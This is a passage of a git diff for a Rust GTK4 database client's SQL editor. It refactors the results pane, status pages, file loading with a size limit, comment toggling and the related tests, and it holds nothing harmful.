0, - kind: StatementOutcomeKind::NotRun, - }); - continue; - } - let started = std::time::Instant::now(); - let kind = match conn.query(&sql).await { - Ok(qr) => StatementOutcomeKind::Rows(qr), - Err(e) => { - aborted = true; - StatementOutcomeKind::Error(super::error_text::driver_message(&e)) + fn choose_file(&self) { + let filter = gtk4::FileFilter::new(); + filter.set_name(Some(&crate::i18n::gettext("SQL files"))); + filter.add_suffix("sql"); + filter.add_mime_type("application/sql"); + let filters = gio::ListStore::new::(); + filters.append(&filter); + let dialog = gtk4::FileDialog::builder() + .title(crate::i18n::gettext("Open SQL File")) + .modal(true) + .default_filter(&filter) + .filters(&filters) + .build(); + let parent = self.root().and_downcast::(); + let weak = self.downgrade(); + glib::spawn_future_local(async move { + let Ok(file) = dialog.open_future(parent.as_ref()).await else { + return; + }; + if let Some(editor) = weak.upgrade() { + editor.insert_file(file, true).await; } - }; - out.push(StatementOutcome { - sql_preview: preview, - elapsed_ms: started.elapsed().as_millis(), - kind, }); } - out -} - -/// First ~60 chars of `sql`, single-line, used for tab tooltips so -/// the user can tell sub-tabs apart on long scripts without reading -/// the editor. -fn sql_preview(sql: &str) -> String { - let single_line: String = sql.split_whitespace().collect::>().join(" "); - if single_line.chars().count() > 60 { - let prefix: String = single_line.chars().take(60).collect(); - format!("{prefix}…") - } else { - single_line - } -} - -/// Top-of-pane status string. Single-statement scripts show the -/// classic "{n} rows in {ms} ms"; multi-statement scripts show -/// "{ok}/{total} statements · {ms} ms" with a trailing error hint -/// when applicable. -fn summary_label(n_total: usize, n_ok: usize, total_ms: u128, has_error: bool) -> String { - if n_total == 1 { - let ms = total_ms.to_string(); - if has_error { - crate::i18n::gettext_f("error in {ms} ms", &[("ms", &ms)]) - } else { - crate::i18n::gettext_f("done in {ms} ms", &[("ms", &ms)]) - } - } else { - let ok_s = n_ok.to_string(); - let total_s = n_total.to_string(); - let ms = total_ms.to_string(); - let base = crate::i18n::gettext_f( - "{ok}/{total} statements · {ms} ms", - &[("ok", &ok_s), ("total", &total_s), ("ms", &ms)], - ); - if has_error { - format!("{base} · {}", crate::i18n::gettext("error")) - } else { - base - } - } } -/// Mount one StatementOutcome into a parent box (for single-result -/// renders) or as an `AdwViewStack` page (multi-result). Wraps grids -/// in a ScrolledWindow so the result pane stays scroll-bounded. -fn build_outcome_widget(o: &StatementOutcome, idx: usize, grid_sender: &relm4::Sender) -> gtk::Widget { - match &o.kind { - StatementOutcomeKind::Rows(result) if !result.rows.is_empty() => { - let (column_view, _selection) = build_column_view( - result, - &[], - grid_sender.clone(), - false, - None, - None, - TabGridContext::default(), - ); - let scrolled = gtk::ScrolledWindow::builder() - .child(&column_view) - .hexpand(true) - .vexpand(true) - .build(); - scrolled.upcast() - } - StatementOutcomeKind::Rows(_) => { - let ms = o.elapsed_ms.to_string(); - adw::StatusPage::builder() - .title(crate::i18n::gettext_f( - "Statement {n} executed", - &[("n", &(idx + 1).to_string())], - )) - .description(crate::i18n::gettext_f("No rows returned · {ms} ms", &[("ms", &ms)])) - .icon_name(crate::ui::icons::SUCCESS) - .vexpand(true) - .build() - .upcast() - } - StatementOutcomeKind::Error(msg) => adw::StatusPage::builder() - .title(crate::i18n::gettext_f( - "Statement {n} failed", - &[("n", &(idx + 1).to_string())], - )) - .description(msg) - .icon_name(crate::ui::icons::DIALOG_ERROR) - .vexpand(true) - .build() - .upcast(), - StatementOutcomeKind::NotRun => adw::StatusPage::builder() - .title(crate::i18n::gettext_f( - "Statement {n} not run", - &[("n", &(idx + 1).to_string())], - )) - .description(crate::i18n::gettext("Skipped because an earlier statement failed.")) - .icon_name(crate::ui::icons::MEDIA_PLAYBACK_STOP) - .vexpand(true) - .build() - .upcast(), - } -} - -fn outcome_tab_label(idx: usize, o: &StatementOutcome) -> String { - match &o.kind { - StatementOutcomeKind::Rows(qr) => { - let n_str = qr.rows.len().to_string(); - crate::i18n::gettext_f( - "Result {n} ({rows})", - &[("n", &(idx + 1).to_string()), ("rows", &n_str)], - ) - } - StatementOutcomeKind::Error(_) => { - crate::i18n::gettext_f("Result {n} (error)", &[("n", &(idx + 1).to_string())]) - } - StatementOutcomeKind::NotRun => { - crate::i18n::gettext_f("Result {n} (skipped)", &[("n", &(idx + 1).to_string())]) - } - } +fn buffer_text(buffer: &impl IsA) -> String { + let buffer = buffer.as_ref(); + let (start, end) = buffer.bounds(); + buffer.text(&start, &end, false).to_string() } -fn render_outcomes(holder: >k::Box, outcomes: &[StatementOutcome], grid_sender: &relm4::Sender) { - if outcomes.is_empty() { - let placeholder = adw::StatusPage::builder() - .title(crate::i18n::gettext("Empty query")) - .description(crate::i18n::gettext("Type a SQL statement and press Run.")) - .icon_name(crate::ui::icons::TEXT_X_GENERIC) - .vexpand(true) - .build(); - holder.append(&placeholder); - return; - } - if outcomes.len() == 1 { - let widget = build_outcome_widget(&outcomes[0], 0, grid_sender); - holder.append(&widget); - return; - } - // Multi-statement: nested AdwViewStack with a centred pill - // ViewSwitcher above. Mirrors the M-1 Table tab pattern (Data ↔ - // Structure) so the visual vocabulary stays consistent across the - // app — same widget for "different views of the same execution". - let stack = adw::ViewStack::new(); - for (idx, o) in outcomes.iter().enumerate() { - let widget = build_outcome_widget(o, idx, grid_sender); - let icon = match &o.kind { - StatementOutcomeKind::Rows(_) => crate::ui::icons::VIEW_GRID, - StatementOutcomeKind::Error(_) => crate::ui::icons::DIALOG_ERROR, - StatementOutcomeKind::NotRun => crate::ui::icons::STATEMENT_PENDING, - }; - let page = stack.add_titled_with_icon(&widget, Some(&format!("r{idx}")), &outcome_tab_label(idx, o), icon); - if !o.sql_preview.is_empty() { - // Tooltip on the page widget itself surfaces the SQL - // preview when hovering the switcher pill. - widget.set_tooltip_text(Some(&o.sql_preview)); - let _ = page; - } - } - let switcher = adw::ViewSwitcher::builder() - .stack(&stack) - .policy(adw::ViewSwitcherPolicy::Wide) - .build(); - let switcher_holder = gtk::CenterBox::builder() - .margin_top(6) - .margin_bottom(6) - .margin_start(12) - .margin_end(12) - .build(); - switcher_holder.set_center_widget(Some(&switcher)); - holder.append(&switcher_holder); - holder.append(&stack); - // First page is auto-selected; if the script had any errors, - // jump straight to the first failing statement so the user sees - // what broke without manual switching. - if let Some(err_idx) = outcomes - .iter() - .position(|o| matches!(o.kind, StatementOutcomeKind::Error(_))) - { - stack.set_visible_child_name(&format!("r{err_idx}")); +/// The most a file may be before the editor refuses it. +/// +/// A dump can be gigabytes, and a text buffer holding one stops being +/// an editor. Refusing is better than a window that will not paint. +const MAX_SQL_FILE_BYTES: i64 = 8 * 1024 * 1024; + +/// Read a file as text off the main thread, or say why it cannot be. +async fn load_text(file: &gio::File) -> Result { + let info = file + .query_info_future("standard::size", gio::FileQueryInfoFlags::NONE, glib::Priority::DEFAULT) + .await; + if info.is_ok_and(|info| info.size() > MAX_SQL_FILE_BYTES) { + return Err(crate::i18n::gettext("That file is too large to open in the editor.")); } + let (bytes, _) = file.load_contents_future().await.map_err(|error| { + tracing::warn!(%error, "could not read a file for the editor"); + crate::i18n::gettext("That file could not be read.") + })?; + String::from_utf8(bytes.to_vec()).map_err(|_| crate::i18n::gettext("That file is not UTF-8 text.")) } /// Toggle SQL line-comment (`-- `) for the lines in the buffer's /// current selection (or the cursor's line when nothing is selected). /// If every non-blank line in the range is already commented, strip /// the prefix; otherwise prepend `-- ` after each line's leading -/// whitespace. Blank lines are skipped in both directions so the -/// transform is reversible — toggling twice returns the original -/// text. The whole edit is wrapped in begin/end_user_action so a -/// single Ctrl+Z reverts it regardless of line count. -fn toggle_line_comment(buffer: >k::TextBuffer) { +/// whitespace. Blank lines are skipped in both directions so toggling +/// twice returns the original text, and the whole edit is one undo step. +fn toggle_line_comment(buffer: >k4::TextBuffer) { let (sel_start, sel_end) = buffer.selection_bounds().unwrap_or_else(|| { let i = buffer.iter_at_mark(&buffer.get_insert()); (i, i) }); let start_line = sel_start.line(); let mut end_line = sel_end.line(); - // Selection that ends at column 0 of the next line shouldn't - // include that empty trailing row — matches the behaviour of - // VS Code / Sublime where dragging-and-releasing at the line - // start doesn't comment the line you released on. + // A selection that ends at column 0 of the next line does not take + // that line in, as in other editors. if sel_end.line_offset() == 0 && end_line > start_line { end_line -= 1; } @@ -1070,10 +793,6 @@ fn toggle_line_comment(buffer: >k::TextBuffer) { }) .collect(); - // Comment vs uncomment decision: if every non-blank line is - // already commented, this is an uncomment toggle; otherwise - // it's a comment toggle. Mixed selections (some commented, some - // not) all become commented — matches IDE convention. let all_commented = lines .iter() .filter(|l| !l.trim().is_empty()) @@ -1092,9 +811,6 @@ fn toggle_line_comment(buffer: >k::TextBuffer) { iter.forward_chars(leading_chars); if all_commented { - // Strip "-- " or "--" depending on what's there. The - // space is part of the canonical form we insert, so - // peel it off too when present. let trimmed = original.trim_start(); let strip_chars: i32 = if trimmed.starts_with("-- ") { 3 @@ -1125,13 +841,13 @@ AND OR IS LIKE IN BETWEEN EXISTS ANY \ COUNT SUM AVG MIN MAX CASE WHEN THEN ELSE END \ TRUE FALSE ASC DESC RETURNING"; -pub fn build_schema_buffer() -> gtk::TextBuffer { - let buf = gtk::TextBuffer::new(None); +pub fn build_schema_buffer() -> gtk4::TextBuffer { + let buf = gtk4::TextBuffer::new(None); buf.set_text(SQL_KEYWORDS); buf } -pub fn update_schema_buffer(buffer: >k::TextBuffer, schema_words: &[String]) { +pub fn update_schema_buffer(buffer: >k4::TextBuffer, schema_words: &[String]) { let mut text = String::from(SQL_KEYWORDS); for w in schema_words { text.push(' '); @@ -1175,105 +891,3 @@ pub fn derive_tab_label(query: &str) -> String { } crate::i18n::gettext("Empty query") } - -/// The editor's own menu. -fn editor_menu() -> relm4::gtk::gio::Menu { - let menu = relm4::gtk::gio::Menu::new(); - menu.append(Some(&crate::i18n::gettext("Open SQL File…")), Some("editor.open-file")); - // Saving lives on the window, because a saved query is kept under - // the connection rather than under this tab. - menu.append(Some(&crate::i18n::gettext("Save Query…")), Some("win.save-query")); - menu.append(Some(&crate::i18n::gettext("Format")), Some("editor.format")); - menu -} - -/// The most a file may be before the editor refuses it. -/// -/// A dump can be gigabytes, and a text buffer holding one stops being -/// an editor. Refusing is better than a window that will not paint. -const MAX_SQL_FILE_BYTES: u64 = 8 * 1024 * 1024; - -/// Ask for a `.sql` file and read it off the main thread. -fn choose_sql_file(sender: &ComponentSender) { - use relm4::gtk::gio; - - let filter = gtk::FileFilter::new(); - filter.set_name(Some(&crate::i18n::gettext("SQL files"))); - filter.add_suffix("sql"); - filter.add_mime_type("application/sql"); - let filters = gio::ListStore::new::(); - filters.append(&filter); - let dialog = gtk::FileDialog::builder() - .title(crate::i18n::gettext("Open SQL File")) - .modal(true) - .default_filter(&filter) - .filters(&filters) - .build(); - - let sender = sender.clone(); - dialog.open(gtk::Window::NONE, gio::Cancellable::NONE, move |outcome| { - let Ok(file) = outcome else { return }; - let too_big = file - .query_info("standard::size", gio::FileQueryInfoFlags::NONE, gio::Cancellable::NONE) - .map(|info| info.size() as u64 > MAX_SQL_FILE_BYTES) - .unwrap_or(false); - if too_big { - sender.input(SqlEditorInput::FileLoaded(None)); - return; - } - let sender = sender.clone(); - glib::spawn_future_local(async move { - // gio reads off the main thread and hands the bytes back - // on it, so a file on a slow disk does not freeze the UI. - let loaded = file.load_contents_future().await; - let text = loaded - .ok() - .and_then(|(bytes, _)| String::from_utf8(bytes.to_vec()).ok()); - sender.input(SqlEditorInput::FileLoaded(text)); - }); - }); -} - -#[cfg(test)] -mod tests { - use super::{export_name_for_query, sql_preview, summary_label}; - - #[test] - fn export_name_slugs_the_statement() { - assert_eq!(export_name_for_query("SELECT * FROM users"), "select-from-users"); - assert_eq!(export_name_for_query(" select id\nfrom t"), "select-id"); - } - - #[test] - fn export_name_falls_back_when_there_is_no_statement() { - assert_eq!(export_name_for_query(" \n "), crate::i18n::gettext("query-results")); - } - - #[test] - fn sql_preview_collapses_whitespace_and_truncates() { - let preview = sql_preview("SELECT *\n FROM users\n WHERE id = 1"); - assert_eq!(preview, "SELECT * FROM users WHERE id = 1"); - } - - #[test] - fn sql_preview_appends_ellipsis_when_too_long() { - let long = "SELECT col1, col2, col3, col4, col5, col6, col7, col8, col9 FROM users WHERE id = 1"; - let preview = sql_preview(long); - assert!(preview.ends_with('…')); - assert!(preview.chars().count() <= 61); - } - - #[test] - fn summary_label_single_statement_done() { - let s = summary_label(1, 1, 42, false); - assert!(s.contains("42")); - assert!(!s.contains("/")); - } - - #[test] - fn summary_label_multi_statement_includes_counts() { - let s = summary_label(3, 2, 100, true); - assert!(s.contains("2/3")); - assert!(s.contains("100")); - } -} diff --git a/linux/crates/app/src/ui/editor/result_item.rs b/linux/crates/app/src/ui/editor/result_item.rs new file mode 100644 index 0000000000..ce1427e5dd --- /dev/null +++ b/linux/crates/app/src/ui/editor/result_item.rs @@ -0,0 +1,51 @@ +use std::cell::RefCell; + +use gtk4::glib; +use gtk4::subclass::prelude::*; + +mod imp { + use super::*; + + #[derive(Default)] + pub struct ResultItem { + pub title: RefCell, + pub subtitle: RefCell, + pub icon_name: RefCell, + } + + #[glib::object_subclass] + impl ObjectSubclass for ResultItem { + const NAME: &'static str = "TableProResultItem"; + type Type = super::ResultItem; + } + + impl ObjectImpl for ResultItem {} +} + +glib::wrapper! { + /// One line of the results list. + pub struct ResultItem(ObjectSubclass); +} + +impl ResultItem { + pub fn new(title: &str, subtitle: &str, icon_name: &str) -> Self { + let item: Self = glib::Object::new(); + let imp = item.imp(); + imp.title.replace(title.to_owned()); + imp.subtitle.replace(subtitle.to_owned()); + imp.icon_name.replace(icon_name.to_owned()); + item + } + + pub fn title(&self) -> String { + self.imp().title.borrow().clone() + } + + pub fn subtitle(&self) -> String { + self.imp().subtitle.borrow().clone() + } + + pub fn icon_name(&self) -> String { + self.imp().icon_name.borrow().clone() + } +} diff --git a/linux/crates/app/src/ui/editor/result_widgets.rs b/linux/crates/app/src/ui/editor/result_widgets.rs new file mode 100644 index 0000000000..049c6b2ea7 --- /dev/null +++ b/linux/crates/app/src/ui/editor/result_widgets.rs @@ -0,0 +1,199 @@ +use gtk4::prelude::*; +use libadwaita as adw; + +use super::run_log::{EntryKind, RunLogEntry}; +use crate::ui::grid::{GridMsg, TabGridContext, build_column_view}; +use crate::ui::icons; + +/// The widget a results list line shows. `go_to_error` puts the editor +/// cursor where the server says a statement went wrong. +pub fn entry_widget( + entry: &RunLogEntry, + grid_sender: &relm4::Sender, + go_to_error: impl Fn(usize) + 'static, +) -> gtk4::Widget { + match &entry.kind { + EntryKind::ResultSet { result, total_rows } => { + let (column_view, _selection) = build_column_view( + result, + &[], + grid_sender.clone(), + false, + None, + None, + TabGridContext::default(), + ); + let scrolled = gtk4::ScrolledWindow::builder() + .child(&column_view) + .hexpand(true) + .vexpand(true) + .build(); + let footer = gtk4::Label::builder() + .label(row_count_text(result.row_count(), result.truncated, *total_rows)) + .xalign(0.0) + .margin_start(12) + .margin_end(12) + .margin_top(4) + .margin_bottom(4) + .build(); + footer.add_css_class("dim-label"); + footer.add_css_class("caption"); + let page = gtk4::Box::builder().orientation(gtk4::Orientation::Vertical).build(); + page.append(&scrolled); + page.append(&footer); + page.upcast() + } + EntryKind::Command { rows_affected } => { + let title = match rows_affected { + Some(rows) => crate::i18n::ngettext_f( + "{n} row affected", + "{n} rows affected", + u32::try_from(*rows).unwrap_or(u32::MAX), + &[("n", &rows.to_string())], + ), + None => crate::i18n::gettext("Command Completed"), + }; + status_page(&title, &entry.preview, icons::SUCCESS).upcast() + } + EntryKind::Notice { message } => { + status_page(&crate::i18n::gettext("Notice"), message, icons::TEXT_X_GENERIC).upcast() + } + EntryKind::Failed { message, error_char } => { + let page = status_page(&crate::i18n::gettext("Statement Failed"), message, icons::DIALOG_ERROR); + if let Some(position) = *error_char { + let button = gtk4::Button::builder() + .label(crate::i18n::gettext("Go to Error")) + .halign(gtk4::Align::Center) + .build(); + button.add_css_class("pill"); + button.connect_clicked(move |_| go_to_error(position)); + page.set_child(Some(&button)); + } + page.upcast() + } + EntryKind::ClientWarning { message } => status_page( + &crate::i18n::gettext("Check the Script"), + message, + icons::DIALOG_WARNING, + ) + .upcast(), + EntryKind::Cancelled => status_page( + &crate::i18n::gettext("Query Stopped"), + &crate::i18n::gettext("The running query was stopped."), + icons::PROCESS_STOP, + ) + .upcast(), + EntryKind::TimedOut { server_cancelled } => { + let description = if *server_cancelled { + crate::i18n::gettext( + "The statement ran past the time limit set in Preferences, so the server stopped it.", + ) + } else { + crate::i18n::gettext( + "The statement ran past the time limit set in Preferences. The server may still be running it.", + ) + }; + status_page( + &crate::i18n::gettext("Query Timed Out"), + &description, + icons::DIALOG_WARNING, + ) + .upcast() + } + EntryKind::NotRun => status_page( + &crate::i18n::gettext("Not Run"), + &crate::i18n::gettext("Skipped because an earlier statement failed or the run was stopped."), + icons::STATEMENT_PENDING, + ) + .upcast(), + } +} + +/// A status page whose description is shown as written. The property +/// takes Pango markup, so a server message with a `<` in it would be +/// read as markup otherwise. +fn status_page(title: &str, description: &str, icon: &str) -> adw::StatusPage { + adw::StatusPage::builder() + .title(title) + .description(glib::markup_escape_text(description).as_str()) + .icon_name(icon) + .vexpand(true) + .build() +} + +fn row_count_text(rows: usize, truncated: bool, total: Option) -> String { + let shown = rows.to_string(); + match (truncated, total) { + (true, Some(total)) => crate::i18n::gettext_f( + "Showing the first {shown} of {total} rows", + &[("shown", &shown), ("total", &total.to_string())], + ), + (true, None) => crate::i18n::gettext_f( + "Showing the first {shown} rows. The query returned more.", + &[("shown", &shown)], + ), + (false, _) => crate::i18n::ngettext_f( + "{n} row", + "{n} rows", + u32::try_from(rows).unwrap_or(u32::MAX), + &[("n", &shown)], + ), + } +} + +#[cfg(test)] +mod tests { + use super::*; + + fn sender() -> relm4::Sender { + relm4::channel::().0 + } + + #[gtk4::test] + fn markup_in_error_is_rendered_literally() { + let entry = RunLogEntry { + kind: EntryKind::Failed { + message: "column name & more".to_owned(), + error_char: None, + }, + batch: Some(0), + preview: String::new(), + }; + + let widget = entry_widget(&entry, &sender(), |_| {}); + + let page = widget.downcast::().expect("a status page"); + assert_eq!( + page.description().as_deref(), + Some("column <b>name</b> & more") + ); + } + + #[gtk4::test] + fn go_to_error_reports_the_buffer_position() { + let entry = RunLogEntry { + kind: EntryKind::Failed { + message: "syntax error".to_owned(), + error_char: Some(42), + }, + batch: Some(0), + preview: String::new(), + }; + let reached = std::rc::Rc::new(std::cell::Cell::new(None)); + let seen = reached.clone(); + + let widget = entry_widget(&entry, &sender(), move |position| seen.set(Some(position))); + let page = widget.downcast::().expect("a status page"); + let button = page.child().and_downcast::().expect("Go to Error"); + button.emit_clicked(); + + assert_eq!(reached.get(), Some(42)); + } + + #[test] + fn a_truncated_set_says_so() { + assert!(row_count_text(10, true, Some(50)).contains("50")); + assert!(row_count_text(10, true, None).contains("more")); + assert_eq!(row_count_text(1, false, None), "1 row"); + } +} diff --git a/linux/crates/app/src/ui/editor/results_pane.rs b/linux/crates/app/src/ui/editor/results_pane.rs new file mode 100644 index 0000000000..2f37b7601e --- /dev/null +++ b/linux/crates/app/src/ui/editor/results_pane.rs @@ -0,0 +1,415 @@ +use gtk4::glib; +use gtk4::prelude::*; +use gtk4::subclass::prelude::*; +use libadwaita as adw; + +use super::result_item::ResultItem; +use super::run_log::{EntryKind, RunLogEntry}; +use super::sidebar_policy::{self, SidebarState}; + +mod imp { + use std::cell::Cell; + + use libadwaita::subclass::prelude::*; + + use super::*; + + #[derive(Default, gtk4::CompositeTemplate)] + #[template(resource = "/app/tablepro/TablePro/ui/results-pane.ui")] + pub struct ResultsPane { + #[template_child] + pub sidebar_toggle: TemplateChild, + #[template_child] + pub spinner: TemplateChild, + #[template_child] + pub summary_label: TemplateChild, + #[template_child] + pub transaction_label: TemplateChild, + #[template_child] + pub split_view: TemplateChild, + #[template_child] + pub list_view: TemplateChild, + #[template_child] + pub stack: TemplateChild, + pub items: std::cell::OnceCell, + pub selection: std::cell::OnceCell, + pub sidebar: Cell, + } + + #[glib::object_subclass] + impl ObjectSubclass for ResultsPane { + const NAME: &'static str = "TableProResultsPane"; + type Type = super::ResultsPane; + type ParentType = adw::Bin; + + fn class_init(klass: &mut Self::Class) { + klass.bind_template(); + } + + fn instance_init(object: &glib::subclass::InitializingObject) { + object.init_template(); + } + } + + impl ObjectImpl for ResultsPane { + fn constructed(&self) { + self.parent_constructed(); + let pane = self.obj(); + self.sidebar_toggle.set_icon_name(crate::ui::icons::SIDEBAR_SHOW); + // The toggle is the way back to a collapsed list, so the two + // can never disagree about whether it shows. + self.sidebar_toggle + .bind_property("active", &*self.split_view, "show-sidebar") + .bidirectional() + .sync_create() + .build(); + + let items = gio::ListStore::new::(); + let selection = gtk4::SingleSelection::new(Some(items.clone())); + selection.set_autoselect(false); + selection.set_can_unselect(false); + let factory = gtk4::SignalListItemFactory::new(); + factory.connect_setup(|_, item| { + if let Some(item) = item.downcast_ref::() { + item.set_child(Some(&row_widget())); + } + }); + factory.connect_bind(|_, item| { + if let Some(item) = item.downcast_ref::() { + bind_row(item); + } + }); + self.list_view.set_factory(Some(&factory)); + self.list_view.set_model(Some(&selection)); + let weak = pane.downgrade(); + selection.connect_selected_notify(move |selection| { + if let Some(pane) = weak.upgrade() { + pane.show_page(selection.selected()); + } + }); + let _ = self.items.set(items); + let _ = self.selection.set(selection); + } + } + + impl WidgetImpl for ResultsPane {} + impl BinImpl for ResultsPane {} +} + +glib::wrapper! { + /// What a run returned: one line per statement in a list beside the + /// result it is showing. The list folds over the result when the + /// pane is narrow, and a toggle brings it back. + pub struct ResultsPane(ObjectSubclass) + @extends adw::Bin, gtk4::Widget, + @implements gtk4::Accessible, gtk4::Buildable, gtk4::ConstraintTarget; +} + +impl Default for ResultsPane { + fn default() -> Self { + glib::Object::new() + } +} + +impl ResultsPane { + /// Forget the last run's results. + pub fn clear(&self) { + let imp = self.imp(); + if let Some(items) = imp.items.get() { + items.remove_all(); + } + let pages: Vec = imp + .stack + .pages() + .iter::() + .filter_map(Result::ok) + .filter(|page| page.name().is_none_or(|name| name != "empty")) + .map(|page| page.child()) + .collect(); + for child in pages { + imp.stack.remove(&child); + } + imp.stack.set_visible_child_name("empty"); + imp.sidebar.set(SidebarState::default()); + imp.sidebar_toggle.set_visible(false); + imp.split_view.set_show_sidebar(false); + imp.transaction_label.set_visible(false); + } + + pub fn set_running(&self, running: bool) { + self.imp().spinner.set_visible(running); + } + + pub fn set_summary(&self, text: &str) { + self.imp().summary_label.set_label(text); + } + + pub fn set_transaction(&self, label: Option<&str>) { + let imp = self.imp(); + imp.transaction_label.set_label(label.unwrap_or_default()); + imp.transaction_label.set_visible(label.is_some()); + } + + /// Add a line and the widget it shows. + pub fn append(&self, entry: &RunLogEntry, widget: >k4::Widget) { + let imp = self.imp(); + let Some(items) = imp.items.get() else { + return; + }; + let index = items.n_items(); + let (title, icon) = entry_title(index as usize, entry); + items.append(&ResultItem::new(&title, &entry.preview, icon)); + imp.stack.add_named(widget, Some(&page_name(index))); + + let previous = SidebarState { + show_sidebar: imp.split_view.shows_sidebar(), + ..imp.sidebar.get() + }; + let state = sidebar_policy::decide(items.n_items() as usize, imp.split_view.is_collapsed(), previous); + imp.sidebar.set(state); + imp.sidebar_toggle.set_visible(state.toggle_visible); + imp.split_view.set_show_sidebar(state.show_sidebar); + if index == 0 { + self.select(0); + } + } + + pub fn select(&self, index: u32) { + let Some(selection) = self.imp().selection.get() else { + return; + }; + if selection.selected() == index { + self.show_page(index); + } else { + selection.set_selected(index); + } + } + + pub fn n_entries(&self) -> u32 { + self.imp().items.get().map_or(0, gio::prelude::ListModelExt::n_items) + } + + pub fn selected(&self) -> Option { + let selected = self.imp().selection.get()?.selected(); + (selected != gtk4::INVALID_LIST_POSITION).then_some(selected) + } + + fn show_page(&self, index: u32) { + let imp = self.imp(); + if index == gtk4::INVALID_LIST_POSITION { + return; + } + imp.stack.set_visible_child_name(&page_name(index)); + // A collapsed list covers the result it just picked. + if imp.split_view.is_collapsed() { + imp.split_view.set_show_sidebar(false); + } + } +} + +fn page_name(index: u32) -> String { + format!("entry-{index}") +} + +/// The line's title and icon. +pub fn entry_title(index: usize, entry: &RunLogEntry) -> (String, &'static str) { + use crate::ui::icons; + let n = (index + 1).to_string(); + match &entry.kind { + EntryKind::ResultSet { result, .. } => { + let rows = result.row_count(); + ( + crate::i18n::ngettext_f( + "Result {n} · {rows} row", + "Result {n} · {rows} rows", + u32::try_from(rows).unwrap_or(u32::MAX), + &[("n", &n), ("rows", &rows.to_string())], + ), + icons::VIEW_GRID, + ) + } + EntryKind::Command { + rows_affected: Some(rows), + } => ( + crate::i18n::ngettext_f( + "{n} row affected", + "{n} rows affected", + u32::try_from(*rows).unwrap_or(u32::MAX), + &[("n", &rows.to_string())], + ), + icons::SUCCESS, + ), + EntryKind::Command { rows_affected: None } => (crate::i18n::gettext("Command completed"), icons::SUCCESS), + EntryKind::Notice { .. } => (crate::i18n::gettext("Notice"), icons::TEXT_X_GENERIC), + EntryKind::Failed { .. } => (crate::i18n::gettext("Error"), icons::DIALOG_ERROR), + EntryKind::ClientWarning { .. } => (crate::i18n::gettext("Warning"), icons::DIALOG_WARNING), + EntryKind::Cancelled => (crate::i18n::gettext("Stopped"), icons::PROCESS_STOP), + EntryKind::TimedOut { .. } => (crate::i18n::gettext("Timed out"), icons::DIALOG_WARNING), + EntryKind::NotRun => (crate::i18n::gettext("Not run"), icons::STATEMENT_PENDING), + } +} + +fn row_widget() -> gtk4::Box { + let row = gtk4::Box::builder() + .orientation(gtk4::Orientation::Horizontal) + .spacing(8) + .margin_top(4) + .margin_bottom(4) + .build(); + let icon = gtk4::Image::new(); + let labels = gtk4::Box::builder().orientation(gtk4::Orientation::Vertical).build(); + let title = gtk4::Label::builder() + .xalign(0.0) + .ellipsize(gtk4::pango::EllipsizeMode::End) + .build(); + let subtitle = gtk4::Label::builder() + .xalign(0.0) + .ellipsize(gtk4::pango::EllipsizeMode::End) + .build(); + subtitle.add_css_class("dim-label"); + subtitle.add_css_class("caption"); + labels.append(&title); + labels.append(&subtitle); + row.append(&icon); + row.append(&labels); + row +} + +fn bind_row(item: >k4::ListItem) { + let Some(result) = item.item().and_downcast::() else { + return; + }; + let Some(row) = item.child() else { + return; + }; + if let Some(icon) = row.first_child().and_downcast::() { + icon.set_icon_name(Some(&result.icon_name())); + } + let Some(labels) = row.last_child() else { + return; + }; + if let Some(title) = labels.first_child().and_downcast::() { + title.set_label(&result.title()); + } + if let Some(subtitle) = labels.last_child().and_downcast::() { + let preview = result.subtitle(); + subtitle.set_visible(!preview.is_empty()); + subtitle.set_label(&preview); + } +} + +#[cfg(test)] +mod tests { + use super::*; + + fn pane() -> ResultsPane { + crate::register_test_resources(); + ResultsPane::default() + } + + fn entry(kind: EntryKind) -> RunLogEntry { + RunLogEntry { + kind, + batch: Some(0), + preview: "SELECT 1".to_owned(), + } + } + + fn command() -> RunLogEntry { + entry(EntryKind::Command { rows_affected: Some(1) }) + } + + fn page() -> gtk4::Widget { + gtk4::Label::new(Some("page")).upcast() + } + + #[gtk4::test] + fn twenty_results_use_list_not_switcher() { + let pane = pane(); + + for _ in 0..20 { + pane.append(&command(), &page()); + } + + let imp = pane.imp(); + assert_eq!(pane.n_entries(), 20); + assert!(imp.sidebar_toggle.is_visible()); + assert!(imp.split_view.shows_sidebar(), "the list stayed closed on a wide pane"); + assert_eq!(imp.stack.visible_child_name().as_deref(), Some("entry-0")); + } + + #[gtk4::test] + fn a_single_result_has_no_list() { + let pane = pane(); + + pane.append(&command(), &page()); + + assert!(!pane.imp().sidebar_toggle.is_visible()); + assert!(!pane.imp().split_view.shows_sidebar()); + } + + #[gtk4::test] + fn first_failure_is_selected() { + let pane = pane(); + pane.append(&command(), &page()); + pane.append( + &entry(EntryKind::Failed { + message: "boom".to_owned(), + error_char: None, + }), + &page(), + ); + pane.append(&entry(EntryKind::NotRun), &page()); + + pane.select(1); + + assert_eq!(pane.selected(), Some(1)); + assert_eq!(pane.imp().stack.visible_child_name().as_deref(), Some("entry-1")); + } + + #[gtk4::test] + fn collapsed_selection_hides_sidebar_and_toggle_reopens_list() { + let pane = pane(); + let imp = pane.imp(); + imp.split_view.set_collapsed(true); + for _ in 0..3 { + pane.append(&command(), &page()); + } + imp.split_view.set_show_sidebar(true); + + pane.select(2); + assert!( + !imp.split_view.shows_sidebar(), + "the list stayed over the picked result" + ); + assert!(!imp.sidebar_toggle.is_active()); + + imp.sidebar_toggle.set_active(true); + assert!(imp.split_view.shows_sidebar(), "the toggle did not bring the list back"); + } + + #[gtk4::test] + fn clearing_forgets_the_last_run() { + let pane = pane(); + pane.append(&command(), &page()); + pane.append(&command(), &page()); + + pane.clear(); + + assert_eq!(pane.n_entries(), 0); + assert!(!pane.imp().sidebar_toggle.is_visible()); + assert_eq!(pane.imp().stack.visible_child_name().as_deref(), Some("empty")); + pane.append(&command(), &page()); + assert_eq!(pane.imp().stack.visible_child_name().as_deref(), Some("entry-0")); + } + + #[gtk4::test] + fn the_list_toggle_has_an_accessible_name() { + let pane = pane(); + + assert!(gtk4::test_accessible_has_property( + &pane.imp().sidebar_toggle.get(), + gtk4::AccessibleProperty::Label + )); + } +} diff --git a/linux/crates/app/src/ui/editor/run_history.rs b/linux/crates/app/src/ui/editor/run_history.rs new file mode 100644 index 0000000000..10fcc3a62c --- /dev/null +++ b/linux/crates/app/src/ui/editor/run_history.rs @@ -0,0 +1,101 @@ +use std::time::SystemTime; + +use tablepro_session::ConnectionMetadata; +use tablepro_storage::query_history::{NewEntry, Outcome}; + +use super::run_log::RunLog; + +/// The history line for one press of Run: the SQL that was sent, which +/// is the selection when there was one, and how the run ended. +pub 